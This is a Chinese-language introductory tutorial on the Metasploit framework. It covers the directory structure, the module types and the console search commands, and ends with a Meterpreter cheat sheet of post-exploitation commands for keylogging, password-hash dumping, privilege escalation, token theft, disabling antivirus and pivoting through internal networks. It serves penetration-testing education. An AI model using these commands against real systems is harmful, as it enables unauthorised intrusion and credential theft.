Metsploit基础篇

Metsploit基本方法、实用技巧总结...

0x01 基本介绍

1. 架构图

2. 目录结构

源码结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
├── bin
│ ├── msfbinscan
│ ├── msfconsole
│ ├── msfd
│ ├── msfdb
│ ├── msfelfscan
│ ├── msfmachscan
│ ├── msfpescan
│ ├── msfremove
│ ├── msfrop
│ ├── msfrpc
│ ├── msfrpcd
│ ├── msfupdate
│ └── msfvenom
├── embedded
│ ├── bin
│ ├── framework
│ ├── include
│ ├── lib
│ ├── share
│ └── ssl
├── LICENSE
├── LICENSES
├── version-manifest.json
└── version-manifest.txt  

Metasploit框架

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
1)framework目录

$ tree -L 1 /opt/metasploit-framework/embedded/framework
.
|-- config //metasploit的环境配置信息,数据库配置信息
|-- data //存放meterpreter,exploits,wordlists等数据信息
|-- external //metasploit的一些基础扩展模块
|-- lib //metasploit的一些基础类和第三方模块类
|-- modules //metasploit模块
|-- msfconsole //metasploit的基本命令行
|-- msfd //metasploit服务
|-- msfrpc //metasploit的服务端
|-- msfrpcd //持久性的metasploit本地服务,可以给远程用户提供rpc服务以及其他的http服务
|-- msfupdate //metasploit更新模块
|-- msfvenom //集成了msfpayload和msfencode的功能,效率更高
|-- plugins //metasploit的第三方插件接口
|-- scripts //存放一些msf用到的脚本,如meterpreter,ps,resource,shell
|-- tools //第三方脚本工具

2)Metasploit模块

$ tree -L 2 /opt/metasploit-framework/embedded/framework/modules
.
|-- auxiliary //辅助模块:包含端口扫描器、嗅探器、fuzzers、暴力破解等
|-- encoders //编码器模块:对payload进行编码加密,绕过杀软
|-- evasion //检测规避模块
|-- exploits //漏洞利用模块:对某些可能存在漏洞的目标进行漏洞利用
|-- nops //空指令模块:不影响进程运行的空命令或无关命令,用于填充
|-- payloads //攻击载荷:攻击成功后在目标机执行的代码,如反弹shell、bind shell等
`-- post //后渗透模块:用于内网渗透

0x02 常用命令

1. 基础命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
show exploits – 查看所有可用的渗透攻击程序代码 
show auxiliary – 查看所有可用的辅助攻击工具
show options – 查看该模块所有可用选项
show payloads – 查看该模块适用的所有载荷代码
show targets – 查看该模块适用的攻击目标类型
search – 根据关键字搜索某模块
info – 显示某模块的详细信息
exploit - 漏洞利用
use – 进入使用某渗透攻击模块
back – 回退
check - 检查目标是否可漏洞利用
grep - 匹配指定内容
set/unset – 设置/禁用模块中的某个参数
setg/unsetg – 设置/禁用适用于所有模块的全局参数
save – 将当前设置值保存下来,以便下次启动MSF终端时仍可使用

命令示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
msf > grep http search mysql

msf > search name:mysql //根据名称搜索

msf > search platform:linux //搜索指定平台模块

msf > search type:post //根据auxiliary, post, exploit等模块类型进行搜索

msf > search cve:2019 type:exploit platform:linux //组合搜索

msf exploit(3proxy) > sessions -l //列出活动的会话

msf exploit(3proxy) > sessions -i 1 //指定会话ID进行交互

msf exploit(3proxy) > sessions -s checkvm -i 2-4 //在指定会话上执行脚本

2. Meterpreter命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
meterpreter > background  放回后台
meterpreter > exit 关闭会话
meterpreter > help 帮助信息
meterpreter > Sysinfo系统平台信息
meterpreter > screenshot 屏幕截取
meterpreter > shell 命令行shell (exit退出)
meterpreter > getlwd 查看本地目录
meterpreter > lcd 切换本地目录
meterpreter > getwd 查看目录
meterpreter > ls 查看文件目录列表
meterpreter > cd 切换目录
meterpreter > rm 删除文件
meterpreter > download /data/1.txt 1.txt 下载文件
meterpreter > upload /var/www/wce.exe wce.exe 上传文件
meterpreter > search -d c: -f *.doc 搜索文件
meterpreter > execute -f cmd.exe -i 执行程序/命令
meterpreter > ps 查看进程
meterpreter > run post/windows/capture/keylog_recorder 键盘记录
meterpreter > getuid 查看当前用户权限
meterpreter > use priv 加载特权模块
meterpreter > getsystem 提升到SYSTEM权限
meterpreter > hashdump 导出密码散列
meterpreter > ps 查看高权限用户PID
meterpreter > steal_token <PID> 窃取令牌
meterpreter > rev2self 恢复原来的令牌
meterpreter > migrate pid 迁移进程
meterpreter > run killav 关闭杀毒软件
meterpreter > run getgui-e 启用远程桌面
meterpreter > portfwd add -l 1234 -p 3389 -r <目标IP> 端口转发
meterpreter > run get_local_subnets 获取内网网段信息
meterpreter > run autoroute -s <内网网段> 创建自动路由
meterpreter > run autoroute -p 查看自动路由表
创建代理通道:
msf > use auxiliary/server/socks4a 设置socks4代理模块
msf auxiliary(socks4a) > show options
msf auxiliary(socks4a) > run

0xFF 参考资源